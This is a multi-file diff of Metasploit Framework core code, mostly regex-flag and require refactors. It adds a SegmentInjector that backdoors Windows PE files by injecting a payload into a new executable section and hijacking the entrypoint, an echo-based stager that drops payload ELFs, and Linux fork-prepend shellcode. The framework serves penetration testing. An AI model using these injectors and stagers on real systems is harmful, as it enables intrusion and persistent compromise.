@ -5039,7 +5039,7 @@ class DBManager
|
|||
next if r[0] != 'results'
|
||||
next if r[4] != "12053"
|
||||
data = r[6]
|
||||
addr,hname = data.match(/([0-9\x2e]+) resolves as (.+)\x2e\\n/)[1,2]
|
||||
addr,hname = data.match(/([0-9\x2e]+) resolves as (.+)\x2e\\n/n)[1,2]
|
||||
addr_map[hname] = addr
|
||||
end
|
||||
|
||||
|
@ -5160,7 +5160,7 @@ class DBManager
|
|||
# HostName
|
||||
host.elements.each('ReportItem') do |item|
|
||||
next unless item.elements['pluginID'].text == "12053"
|
||||
addr = item.elements['data'].text.match(/([0-9\x2e]+) resolves as/)[1]
|
||||
addr = item.elements['data'].text.match(/([0-9\x2e]+) resolves as/n)[1]
|
||||
hname = host.elements['HostName'].text
|
||||
end
|
||||
addr ||= host.elements['HostName'].text
|
||||
|
@ -5855,7 +5855,7 @@ class DBManager
|
|||
|
||||
data.each_line do |line|
|
||||
next if line =~ /^#/
|
||||
next if line !~ /^Protocol on ([^:]+):([^\x5c\x2f]+)[\x5c\x2f](tcp|udp) matches (.*)$/
|
||||
next if line !~ /^Protocol on ([^:]+):([^\x5c\x2f]+)[\x5c\x2f](tcp|udp) matches (.*)$/n
|
||||
addr = $1
|
||||
next if bl.include? addr
|
||||
port = $2.to_i
|
||||
|
|
|
@ -20,7 +20,7 @@ class Export
|
|||
end
|
||||
|
||||
def myusername
|
||||
@username ||= (ENV['LOGNAME'] || ENV['USERNAME'] || ENV['USER'] || "unknown").to_s.strip.gsub(/[^A-Za-z0-9\x20]/,"_")
|
||||
@username ||= (ENV['LOGNAME'] || ENV['USERNAME'] || ENV['USER'] || "unknown").to_s.strip.gsub(/[^A-Za-z0-9\x20]/n,"_")
|
||||
end
|
||||
|
||||
# Hosts are always allowed. This is really just a stub.
|
||||
|
@ -115,7 +115,7 @@ class Export
|
|||
user = (c.user.nil? || c.user.empty?) ? "<BLANK>" : c.user
|
||||
pass = (c.pass.nil? || c.pass.empty?) ? "<BLANK>" : c.pass
|
||||
if pass != "<BLANK>"
|
||||
pass = (c.pass.upcase =~ /^[\x20-\x7e]*:[A-F0-9]{48}:[A-F0-9]{50,}/m) ? c.pass : "<BLANK>"
|
||||
pass = (c.pass.upcase =~ /^[\x20-\x7e]*:[A-F0-9]{48}:[A-F0-9]{50,}/nm) ? c.pass : "<BLANK>"
|
||||
end
|
||||
if pass == "<BLANK>"
|
||||
# Basically this is an error (maybe around [\x20-\x7e] in regex) above
|
||||
|
@ -206,7 +206,7 @@ class Export
|
|||
|
||||
report_file.write %Q|<?xml version="1.0" encoding="UTF-8"?>\n|
|
||||
report_file.write %Q|<MetasploitV4>\n|
|
||||
report_file.write %Q|<generated time="#{Time.now.utc}" user="#{myusername}" project="#{myworkspace.name.gsub(/[^A-Za-z0-9\x20]/,"_")}" product="framework"/>\n|
|
||||
report_file.write %Q|<generated time="#{Time.now.utc}" user="#{myusername}" project="#{myworkspace.name.gsub(/[^A-Za-z0-9\x20]/n,"_")}" product="framework"/>\n|
|
||||
|
||||
yield(:status, "start", "hosts") if block_given?
|
||||
report_file.write %Q|<hosts>\n|
|
||||
|
@ -352,7 +352,7 @@ class Export
|
|||
if value
|
||||
data = marshalize(value)
|
||||
data.force_encoding(Encoding::BINARY) if data.respond_to?('force_encoding')
|
||||
data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/){ |x| "\\x%.2x" % x.unpack("C*")[0] }
|
||||
data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] }
|
||||
el << REXML::Text.new(data)
|
||||
end
|
||||
return el
|
||||
|
|
|
@ -0,0 +1,108 @@
|
|||
module Msf
|
||||
module Exe
|
||||
|
||||
require 'metasm'
|
||||
|
||||
class SegmentInjector
|
||||
|
||||
attr_accessor :payload
|
||||
attr_accessor :template
|
||||
attr_accessor :arch
|
||||
attr_accessor :buffer_register
|
||||
|
||||
def initialize(opts = {})
|
||||
@payload = opts[:payload]
|
||||
@template = opts[:template]
|
||||
@arch = opts[:arch] || :x86
|
||||
@buffer_register = opts[:buffer_register] || 'edx'
|
||||
unless %w{eax ecx edx ebx edi esi}.include?(@buffer_register.downcase)
|
||||
raise ArgumentError, ":buffer_register is not a real register"
|
||||
end
|
||||
end
|
||||
|
||||
def processor
|
||||
case @arch
|
||||
when :x86
|
||||
return Metasm::Ia32.new
|
||||
when :x64
|
||||
return Metasm::X86_64.new
|
||||
end
|
||||
end
|
||||
|
||||
def create_thread_stub
|
||||
<<-EOS
|
||||
hook_entrypoint:
|
||||
pushad
|
||||
push hook_libname
|
||||
call [iat_LoadLibraryA]
|
||||
push hook_funcname
|
||||
push eax
|
||||
call [iat_GetProcAddress]
|
||||
mov eax, [iat_CreateThread]
|
||||
lea edx, [thread_hook]
|
||||
push 0
|
||||
push 0
|
||||
push 0
|
||||
push edx
|
||||
push 0
|
||||
push 0
|
||||
call eax
|
||||
|
||||
popad
|
||||
jmp entrypoint
|
||||
|
||||
hook_libname db 'kernel32', 0
|
||||
hook_funcname db 'CreateThread', 0
|
||||
|
||||
thread_hook:
|
||||
lea #{buffer_register}, [thread_hook]
|
||||
add #{buffer_register}, 9
|
||||
EOS
|
||||
end
|
||||
|
||||
def payload_as_asm
|
||||
asm = ''
|
||||
@payload.each_byte do |byte|
|
||||
asm << "db " + sprintf("0x%02x", byte) + "\n"
|
||||
end
|
||||
return asm
|
||||
end
|
||||
|
||||
def payload_stub
|
||||
asm = create_thread_stub
|
||||
asm << payload_as_asm
|
||||
shellcode = Metasm::Shellcode.assemble(processor, asm)
|
||||
shellcode.encoded
|
||||
end
|
||||
|
||||
def generate_pe
|
||||
# Copy our Template into a new PE
|
||||
pe_orig = Metasm::PE.decode_file(template)
|
||||
pe = pe_orig.mini_copy
|
||||
|
||||
# Copy the headers and exports
|
||||
pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4]
|
||||
pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
|
||||
pe.header.time = pe_orig.header.time
|
||||
|
||||
# Generate a new code section set to RWX with our payload in it
|
||||
s = Metasm::PE::Section.new
|
||||
s.name = '.text'
|
||||
s.encoded = payload_stub
|
||||
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
|
||||
|
||||
# Tell our section where the original entrypoint was
|
||||
s.encoded.fixup!('entrypoint' => pe.optheader.image_base + pe.optheader.entrypoint)
|
||||
pe.sections << s
|
||||
pe.invalidate_header
|
||||
|
||||
# Change the entrypoint to our new section
|
||||
pe.optheader.entrypoint = 'hook_entrypoint'
|
||||
pe.cpu = pe_orig.cpu
|
||||
|
||||
pe.encode_string
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -135,11 +135,11 @@ module Exploit::Remote::Arkeia
|
|||
end
|
||||
|
||||
# Store the version information
|
||||
mver = resp.match(/IVERSION\x00([^\x00]+)/)
|
||||
mver = resp.match(/IVERSION\x00([^\x00]+)/n)
|
||||
info['Version'] = mver[1] if mver
|
||||
|
||||
# Store the hostname information
|
||||
mver = resp.match(/ISERVNAME\x00([^\x00]+)/)
|
||||
mver = resp.match(/ISERVNAME\x00([^\x00]+)/n)
|
||||
info['Hostname'] = mver[1] if mver
|
||||
|
||||
# Begin the ARKADMIN_GET_MACHINE_INFO request
|
||||
|
@ -182,7 +182,7 @@ module Exploit::Remote::Arkeia
|
|||
|
||||
# Finally, parse out and store all the parameters
|
||||
resp.split("TPVALUE\x00").each { |x|
|
||||
minf = x.match(/^([^\x00]+)\x00PNAME\x00([^\x00]+)/)
|
||||
minf = x.match(/^([^\x00]+)\x00PNAME\x00([^\x00]+)/n)
|
||||
if (minf)
|
||||
info[ minf[2] ] = minf[1]
|
||||
end
|
||||
|
|
|
@ -0,0 +1,34 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/exploit/cmdstager'
|
||||
|
||||
module Msf
|
||||
|
||||
####
|
||||
# Allows for staging cmd to arbitrary payloads through the CmdStagerEcho.
|
||||
#
|
||||
# This stager uses the echo's "-e" flag, that enable interpretation of
|
||||
# backslash escapes, to drop an ELF with the payload embedded to disk.
|
||||
# The "-e" flag is usually available on linux environments. This stager
|
||||
# has been found useful on restricted linux based embedded devices, and
|
||||
# should work on either:
|
||||
# * Systems with busy box's echo binary somewhere in $PATH.
|
||||
# * Systems with bash/zsh whose echo builtin supports -en flags.
|
||||
# * Systems with GNU coreutils echo which supports -en flags.
|
||||
#
|
||||
####
|
||||
|
||||
module Exploit::CmdStagerEcho
|
||||
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
# Initializes a CmdStagerEcho instance for the supplied payload
|
||||
#
|
||||
# @param exe [String] The payload embedded into an ELF
|
||||
# @return [Rex::Exploitation::CmdStagerEcho] Stager instance
|
||||
def create_stager(exe)
|
||||
Rex::Exploitation::CmdStagerEcho.new(exe)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -20,10 +20,16 @@ module Exploit::FileDropper
|
|||
# @return [void]
|
||||
#
|
||||
def on_new_session(session)
|
||||
super
|
||||
|
||||
if session.type == "meterpreter"
|
||||
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
|
||||
end
|
||||
|
||||
if not @dropped_files or @dropped_files.empty?
|
||||
return true
|
||||
end
|
||||
|
||||
@dropped_files.delete_if do |file|
|
||||
win_file = file.gsub("/", "\\\\")
|
||||
if session.type == "meterpreter"
|
||||
|
@ -58,8 +64,6 @@ module Exploit::FileDropper
|
|||
true
|
||||
end
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -330,6 +330,19 @@ module Exploit::Remote::HttpClient
|
|||
new_str
|
||||
end
|
||||
|
||||
# Returns the Path+Query from a full URI String, nil on error
|
||||
def path_from_uri(uri)
|
||||
begin
|
||||
temp = URI(uri)
|
||||
ret_uri = temp.path
|
||||
ret_uri << "?#{temp.query}" unless temp.query.nil? or temp.query.empty?
|
||||
return ret_uri
|
||||
rescue URI::Error
|
||||
print_error "Invalid URI: #{uri}"
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the target host
|
||||
#
|
||||
|
@ -344,6 +357,13 @@ module Exploit::Remote::HttpClient
|
|||
datastore['RPORT']
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the Host and Port as a string
|
||||
#
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the VHOST of the HTTP server.
|
||||
#
|
||||
|
@ -463,8 +483,8 @@ module Exploit::Remote::HttpClient
|
|||
end
|
||||
|
||||
if datastore['RPORT'].to_i == 3790
|
||||
if res.code == 302 and res.headers and res.headers['Location'] =~ /[\x5c\x2f](login|setup)$/
|
||||
if res['Server'] =~ /^(thin.*No Hup)|(nginx[\x5c\x2f][\d\.]+)$/
|
||||
if res.code == 302 and res.headers and res.headers['Location'] =~ /[\x5c\x2f](login|setup)$/n
|
||||
if res['Server'] =~ /^(thin.*No Hup)|(nginx[\x5c\x2f][\d\.]+)$/n
|
||||
extras << "Metasploit"
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,9 +1,5 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/post_mixin'
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
|
||||
###
|
||||
#
|
||||
|
@ -13,16 +9,14 @@ class Exploit
|
|||
# network communication.
|
||||
#
|
||||
###
|
||||
class Local < Exploit
|
||||
include PostMixin
|
||||
class Msf::Exploit::Local < Msf::Exploit
|
||||
require 'msf/core/post_mixin'
|
||||
include Msf::PostMixin
|
||||
|
||||
#
|
||||
# Returns the fact that this exploit is a local exploit.
|
||||
#
|
||||
def exploit_type
|
||||
Exploit::Type::Local
|
||||
Msf::Exploit::Type::Local
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -25,6 +25,7 @@ require 'msf/core/exploit/cmdstager_debug_write'
|
|||
require 'msf/core/exploit/cmdstager_debug_asm'
|
||||
require 'msf/core/exploit/cmdstager_tftp'
|
||||
require 'msf/core/exploit/cmdstager_bourne'
|
||||
require 'msf/core/exploit/cmdstager_echo'
|
||||
|
||||
# Protocol
|
||||
require 'msf/core/exploit/tcp'
|
||||
|
|
|
@ -696,7 +696,8 @@ module Exploit::Remote::MSSQL
|
|||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Indent' => 1,
|
||||
'Header' => "",
|
||||
'Columns' => info[:colnames]
|
||||
'Columns' => info[:colnames],
|
||||
'SortIndex' => -1
|
||||
)
|
||||
|
||||
info[:rows].each do |row|
|
||||
|
|
|
@ -110,9 +110,9 @@ module Exploit::Remote::MYSQL
|
|||
end
|
||||
|
||||
if plugin_res.respond_to? :split
|
||||
target_path = plugin_res.split(/[\x5c\x2f]+/).join("/") << "/"
|
||||
target_path = plugin_res.split(/[\x5c\x2f]+/n).join("/") << "/"
|
||||
elsif base_res.respond_to? :split
|
||||
target_path = base_res.split(/[\x5c\x2f]+/).join("/") << "/bin/"
|
||||
target_path = base_res.split(/[\x5c\x2f]+/n).join("/") << "/bin/"
|
||||
else
|
||||
print_error "Cannot determine the plugin directory."
|
||||
return false
|
||||
|
@ -123,7 +123,7 @@ module Exploit::Remote::MYSQL
|
|||
print_status "Checking for temp directory..."
|
||||
res = mysql_get_variable("@@tmpdir")
|
||||
if res.respond_to? :split
|
||||
target_path = res.split(/[\x5c\x2f]+/).join("/") << "/"
|
||||
target_path = res.split(/[\x5c\x2f]+/n).join("/") << "/"
|
||||
else
|
||||
print_error "Cannot determine the temp directory, exiting."
|
||||
return false
|
||||
|
|
|
@ -11,8 +11,6 @@ module Msf
|
|||
#
|
||||
# written by corelanc0d3r <peter.ve [at] corelan.be>
|
||||
#
|
||||
# Version: $Revision$
|
||||
#
|
||||
###
|
||||
module Exploit::Omelet
|
||||
|
||||
|
|
|
@ -195,7 +195,7 @@ module Exploit::Remote::RealPort
|
|||
# Send negotiate request
|
||||
sock.put(pkt2)
|
||||
res = sock.get_once(-1, 5)
|
||||
if res.to_s =~ /^\xff/
|
||||
if res.to_s =~ /^\xff/n
|
||||
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
|
||||
return :closed
|
||||
end
|
||||
|
@ -221,7 +221,7 @@ module Exploit::Remote::RealPort
|
|||
sock.put(pkt3)
|
||||
res = sock.get_once(-1, 5)
|
||||
|
||||
if res.to_s =~ /^\xff/
|
||||
if res.to_s =~ /^\xff/n
|
||||
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
|
||||
return :closed
|
||||
end
|
||||
|
|
|
@ -645,7 +645,7 @@ module Exploit::Remote::SMB
|
|||
buff << " FP: #{line}\n"
|
||||
end
|
||||
|
||||
prov.split(/\x00\x00+/).each do |line|
|
||||
prov.split(/\x00\x00+/n).each do |line|
|
||||
line.gsub!("\x00",'')
|
||||
line.strip!
|
||||
next if line.length < 6
|
||||
|
@ -755,8 +755,8 @@ module Exploit::Remote::SMBServer
|
|||
if (pkt_nbs.v['Type'] == 0x81)
|
||||
# Accept any name they happen to send
|
||||
|
||||
host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/, '')
|
||||
host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/, '')
|
||||
host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/n, '')
|
||||
host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/n, '')
|
||||
|
||||
smb[:nbdst] = host_dst
|
||||
smb[:nbsrc] = host_src
|
||||
|
|
|
@ -68,11 +68,11 @@ module Exploit::Remote::SunRPC
|
|||
end
|
||||
|
||||
ret = rpcobj.create
|
||||
return print_error("#{rhost} - No response to SunRPC PortMap request") unless ret
|
||||
return print_error("#{rhost}:#{rport} - SunRPC - No response to Portmap request") unless ret
|
||||
|
||||
arr = XDR.decode!(ret, Integer, Integer, Integer, String, Integer, Integer)
|
||||
if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS || arr[5] == 0
|
||||
err = "#{rhost} - SunRPC PortMap request failed: "
|
||||
err = "#{rhost}:#{rport} - SunRPC - Portmap request failed: "
|
||||
err << 'Message not accepted' if arr[1] != MSG_ACCEPTED
|
||||
err << 'RPC did not execute' if arr[4] != SUCCESS
|
||||
err << 'Program not available' if arr[5] == 0
|
||||
|
@ -87,7 +87,7 @@ module Exploit::Remote::SunRPC
|
|||
|
||||
def sunrpc_call(proc, buf, timeout=20)
|
||||
ret = rpcobj.call(proc, buf, timeout)
|
||||
return print_error("#{rhost} - No response to SunRPC call for procedure: #{proc}") unless ret
|
||||
return print_error("#{rhost}:#{rport} - SunRPC - No response to SunRPC call for procedure: #{proc}") unless ret
|
||||
|
||||
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer)
|
||||
if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS
|
||||
|
@ -105,7 +105,7 @@ module Exploit::Remote::SunRPC
|
|||
else err << "Unknown Error"
|
||||
end
|
||||
end
|
||||
print_error("#{rhost} - #{err}")
|
||||
print_error("#{rhost}:#{rport} - SunRPC - #{err}")
|
||||
return nil
|
||||
end
|
||||
return ret
|
||||
|
@ -134,7 +134,7 @@ module Exploit::Remote::SunRPC
|
|||
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer)
|
||||
if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS || arr[5] == 0
|
||||
progname = progresolv(rpcobj.program)
|
||||
err = "SunRPC query for program #{rpcobj.program} [#{progname}] failed: "
|
||||
err = "Query for program #{rpcobj.program} [#{progname}] failed: "
|
||||
case arr[4]
|
||||
when PROG_UMAVAIL then err << "Program Unavailable"
|
||||
when PROG_MISMATCH then err << "Program Version Mismatch"
|
||||
|
@ -142,7 +142,7 @@ module Exploit::Remote::SunRPC
|
|||
when GARBAGE_ARGS then err << "Garbage Arguments"
|
||||
else err << "Unknown Error"
|
||||
end
|
||||
print_error("#{rhost} - #{err}")
|
||||
print_error("#{rhost}:#{rport} - SunRPC - #{err}")
|
||||
return nil
|
||||
end
|
||||
|
||||
|
|
|
@ -5,7 +5,7 @@ module Msf
|
|||
###
|
||||
#
|
||||
# This module exposes methods that may be useful to exploits that deal with
|
||||
# servers that speak the telnet protocol.
|
||||
# webservers.
|
||||
#
|
||||
###
|
||||
module Exploit::Remote::Web
|
||||
|
|
|
@ -104,6 +104,7 @@ class Module
|
|||
require 'msf/core/module/target'
|
||||
require 'msf/core/module/auxiliary_action'
|
||||
require 'msf/core/module/has_actions'
|
||||
require 'msf/core/module/deprecated'
|
||||
|
||||
#
|
||||
# Creates an instance of an abstract module using the supplied information
|
||||
|
|
|
@ -503,4 +503,12 @@ class Msf::Module::Platform
|
|||
Rank = 100
|
||||
Alias = "python"
|
||||
end
|
||||
|
||||
#
|
||||
# Node.js
|
||||
#
|
||||
class NodeJS < Msf::Module::Platform
|
||||
Rank = 100
|
||||
Alias = "nodejs"
|
||||
end
|
||||
end
|
||||
|
|
|
@ -336,9 +336,9 @@ class Payload < Msf::Module
|
|||
# Check to see if the value is a hex string. If so, convert
|
||||
# it.
|
||||
if val.kind_of?(String)
|
||||
if val =~ /^\\x/
|
||||
val = [ val.gsub(/\\x/, '') ].pack("H*").unpack(pack)[0]
|
||||
elsif val =~ /^0x/
|
||||
if val =~ /^\\x/n
|
||||
val = [ val.gsub(/\\x/n, '') ].pack("H*").unpack(pack)[0]
|
||||
elsif val =~ /^0x/n
|
||||
val = val.hex
|
||||
end
|
||||
end
|
||||
|
|
|
@ -19,6 +19,13 @@ module Msf::Payload::Linux
|
|||
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptBool.new('PrependFork',
|
||||
[
|
||||
false,
|
||||
"Prepend a stub that executes: if (fork()) { exit(0); }",
|
||||
"false"
|
||||
]
|
||||
),
|
||||
Msf::OptBool.new('PrependSetresuid',
|
||||
[
|
||||
false,
|
||||
|
@ -97,6 +104,17 @@ module Msf::Payload::Linux
|
|||
|
||||
# Prepend
|
||||
|
||||
if (datastore['PrependFork'])
|
||||
pre << "\x6a\x02" +# pushb $0x2 #
|
||||
"\x58" +# popl %eax #
|
||||
"\xcd\x80" +# int $0x80 ; fork #
|
||||
"\x85\xc0" +# test %eax,%eax #
|
||||
"\x74\x06" +# jz 0xf #
|
||||
"\x31\xc0" +# xor %eax,%eax #
|
||||
"\xb0\x01" +# movb $0x1,%al ; exit #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetresuid'])
|
||||
# setresuid(0, 0, 0)
|
||||
pre << "\x31\xc9" +# xorl %ecx,%ecx #
|
||||
|
@ -197,10 +215,8 @@ module Msf::Payload::Linux
|
|||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Handle all Power/CBEA code here
|
||||
if (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ]))
|
||||
elsif (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ]))
|
||||
|
||||
# Prepend
|
||||
|
||||
|
@ -277,9 +293,21 @@ module Msf::Payload::Linux
|
|||
"\x38\x1f\xfe\x02" +# addi r0,r31,-510 #
|
||||
"\x44\xff\xff\x02" # sc #
|
||||
end
|
||||
end
|
||||
|
||||
if (test_arch.include?(ARCH_X86_64))
|
||||
elsif (test_arch.include?(ARCH_X86_64))
|
||||
|
||||
if (datastore['PrependFork'])
|
||||
# if (fork()) { exit(0); }
|
||||
pre << "\x6a\x39" # push 57 ; __NR_fork #
|
||||
pre << "\x58" # pop rax #
|
||||
pre << "\x0f\x05" # syscall #
|
||||
pre << "\x48\x85\xc0" # test rax,rax #
|
||||
pre << "\x74\x08" # jz 0x08 #
|
||||
pre << "\x48\x31\xff" # xor rdi,rdi #
|
||||
pre << "\x6a\x3c" # push 60 ; __NR_exit #
|
||||
pre << "\x58" # pop rax #
|
||||
pre << "\x0f\x05" # syscall #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetresuid'])
|
||||
# setresuid(0, 0, 0)
|
||||
|
@ -389,8 +417,8 @@ module Msf::Payload::Linux
|
|||
# Append exit(0)
|
||||
if (datastore['AppendExit'])
|
||||
app << "\x48\x31\xff" # xor rdi,rdi #
|
||||
pre << "\x6a\x3c" # push 0x53 #
|
||||
pre << "\x58" # pop rax #
|
||||
app << "\x6a\x3c" # push 0x3c #
|
||||
app << "\x58" # pop rax #
|
||||
app << "\x0f\x05" # syscall #
|
||||
end
|
||||
end
|
||||
|
|
|
@ -14,7 +14,6 @@ module Payload::Osx::BundleInject
|
|||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Mac OS X Inject Mach-O Bundle',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Inject a custom Mach-O bundle into the exploited process',
|
||||
'Author' =>
|
||||
[
|
||||
|
|
|
@ -12,9 +12,21 @@ require 'msf/core'
|
|||
module Msf::Payload::Windows
|
||||
|
||||
require 'msf/core/payload/windows/prepend_migrate'
|
||||
|
||||
# Provides the #prepends method
|
||||
# XXX: For some unfathomable reason, the order of requires here is
|
||||
# important. If this include happens after require'ing the files
|
||||
# below, it causes the windows/exec payload (and probably others) to
|
||||
# somehow not have PrependMigrate despite having Payload::Windows,
|
||||
# which leads to a NoMethodError on #prepends
|
||||
include Msf::Payload::Windows::PrependMigrate
|
||||
|
||||
require 'msf/core/payload/windows/dllinject'
|
||||
require 'msf/core/payload/windows/exec'
|
||||
require 'msf/core/payload/windows/loadlibrary'
|
||||
require 'msf/core/payload/windows/reflectivedllinject'
|
||||
require 'msf/core/payload/windows/x64/reflectivedllinject'
|
||||
|
||||
#
|
||||
# ROR hash associations for some of the exit technique routines.
|
||||
#
|
||||
|
|
|
@ -16,7 +16,6 @@ module Payload::Windows::DllInject
|
|||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows Inject DLL',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Inject a custom DLL into the exploited process',
|
||||
'Author' =>
|
||||
[
|
||||
|
|
|
@ -16,7 +16,6 @@ module Payload::Windows::Exec
|
|||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows Execute Command',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Execute an arbitrary command',
|
||||
'Author' => [ 'vlad902', 'sf' ],
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -16,7 +16,6 @@ module Payload::Windows::LoadLibrary
|
|||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows LoadLibrary Path',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Load an arbitrary library path',
|
||||
'Author' => [ 'sf', 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -20,7 +20,6 @@ module Payload::Windows::ReflectiveDllInject
|
|||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Reflective DLL Injection',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Inject a DLL via a reflective loader',
|
||||
'Author' => [ 'sf' ],
|
||||
'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ],
|
||||
|
|
|
@ -20,7 +20,6 @@ module Payload::Windows::ReflectiveDllInject_x64
|
|||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Reflective DLL Injection',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Inject a DLL via a reflective loader',
|
||||
'Author' => [ 'sf' ],
|
||||
'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ],
|
||||
|
|
|
@ -1,24 +1,31 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/post_mixin'
|
||||
|
||||
module Msf
|
||||
|
||||
#
|
||||
# A Post-exploitation module
|
||||
#
|
||||
#
|
||||
class Post < Msf::Module
|
||||
include PostMixin
|
||||
class Msf::Post < Msf::Module
|
||||
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post_mixin'
|
||||
|
||||
require 'msf/core/post/file'
|
||||
|
||||
require 'msf/core/post/linux'
|
||||
require 'msf/core/post/osx'
|
||||
require 'msf/core/post/solaris'
|
||||
require 'msf/core/post/unix'
|
||||
require 'msf/core/post/windows'
|
||||
|
||||
include Msf::PostMixin
|
||||
|
||||
def setup; end
|
||||
|
||||
def type
|
||||
MODULE_POST
|
||||
Msf::MODULE_POST
|
||||
end
|
||||
|
||||
def self.type
|
||||
MODULE_POST
|
||||
Msf::MODULE_POST
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -39,6 +46,3 @@ class Post < Msf::Module
|
|||
mod
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -1,12 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/post/file'
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
|
||||
module Common
|
||||
|
||||
module Msf::Post::Common
|
||||
|
||||
#
|
||||
# Checks if the remote system has a process with ID +pid+
|
||||
|
@ -121,5 +115,3 @@ module Common
|
|||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,4 @@
|
|||
module Msf::Post::Linux
|
||||
require 'msf/core/post/linux/priv'
|
||||
require 'msf/core/post/linux/system'
|
||||
end
|
|
@ -0,0 +1,5 @@
|
|||
|
||||
module Msf::Post::OSX
|
||||
require 'msf/core/post/osx/system'
|
||||
require 'msf/core/post/osx/ruby_dl'
|
||||
end
|
|
@ -1,11 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module OSX
|
||||
module System
|
||||
module Msf::Post::OSX::System
|
||||
include ::Msf::Post::Common
|
||||
include ::Msf::Post::File
|
||||
|
||||
|
@ -108,7 +103,4 @@ module System
|
|||
end
|
||||
return groups
|
||||
end
|
||||
end # System
|
||||
end # OSX
|
||||
end # Post
|
||||
end # Msf
|
||||
end
|
||||
|
|
|
@ -0,0 +1,4 @@
|
|||
module Msf::Post::Solaris
|
||||
require 'msf/core/post/solaris/priv'
|
||||
require 'msf/core/post/solaris/system'
|
||||
end
|
|
@ -1,8 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Unix
|
||||
module Msf::Post::Unix
|
||||
|
||||
#
|
||||
# Returns an array of hashes each representing a user
|
||||
|
@ -83,6 +81,3 @@ module Unix
|
|||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,15 @@
|
|||
|
||||
module Msf::Post::Windows
|
||||
require 'msf/core/post/windows/accounts'
|
||||
require 'msf/core/post/windows/cli_parse'
|
||||
require 'msf/core/post/windows/eventlog'
|
||||
require 'msf/core/post/windows/file_info'
|
||||
require 'msf/core/post/windows/powershell'
|
||||
require 'msf/core/post/windows/priv'
|
||||
require 'msf/core/post/windows/process'
|
||||
require 'msf/core/post/windows/railgun'
|
||||
require 'msf/core/post/windows/registry'
|
||||
require 'msf/core/post/windows/services'
|
||||
require 'msf/core/post/windows/shadowcopy'
|
||||
require 'msf/core/post/windows/user_profiles'
|
||||
end
|
|
